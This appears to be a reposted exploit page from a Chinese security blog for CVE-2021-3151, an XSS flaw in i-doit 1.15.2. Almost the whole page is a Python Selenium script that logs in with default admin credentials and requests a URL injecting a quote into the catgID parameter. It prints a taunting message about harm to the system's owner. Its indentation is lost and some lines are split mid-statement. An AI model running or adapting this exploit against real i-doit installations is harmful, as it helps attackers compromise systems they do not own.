CVE-2021-3151_i-doit_1.15.2_XSS漏洞

# CVE-2021-3151 i-doit 1.15.2 XSS漏洞
==EXP==

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3151

from selenium import webdriver
import time
import os, sys


# Vendor: https://www.i-doit.org/news/
website_link="http://192.168.1.160/?"

# enter your login username
username="admin"

# enter your login password
password="admin"

#enter the element for username input field
element_for_username="login_username"

#enter the element for password input field
element_for_password="login_password"

#enter the element for submit button
element_for_submit="login_submit"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(1)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit XSS vulnerability parameter viewMode
time.sleep(3)
# Payload Parameter: "viewMode" (Infrastructure > catgID=41 == XSS
injection simbol{'})
browser.get(("
http://192.168.1.160/index.php?viewMode=1002&tvMode=1006&tvType=1&objID=26&catgID=41%27
"))

print("The payload is deployed now this is bad for the owner \;)\...\n")


except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, but something is wrong and this exploit is not working...")
© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容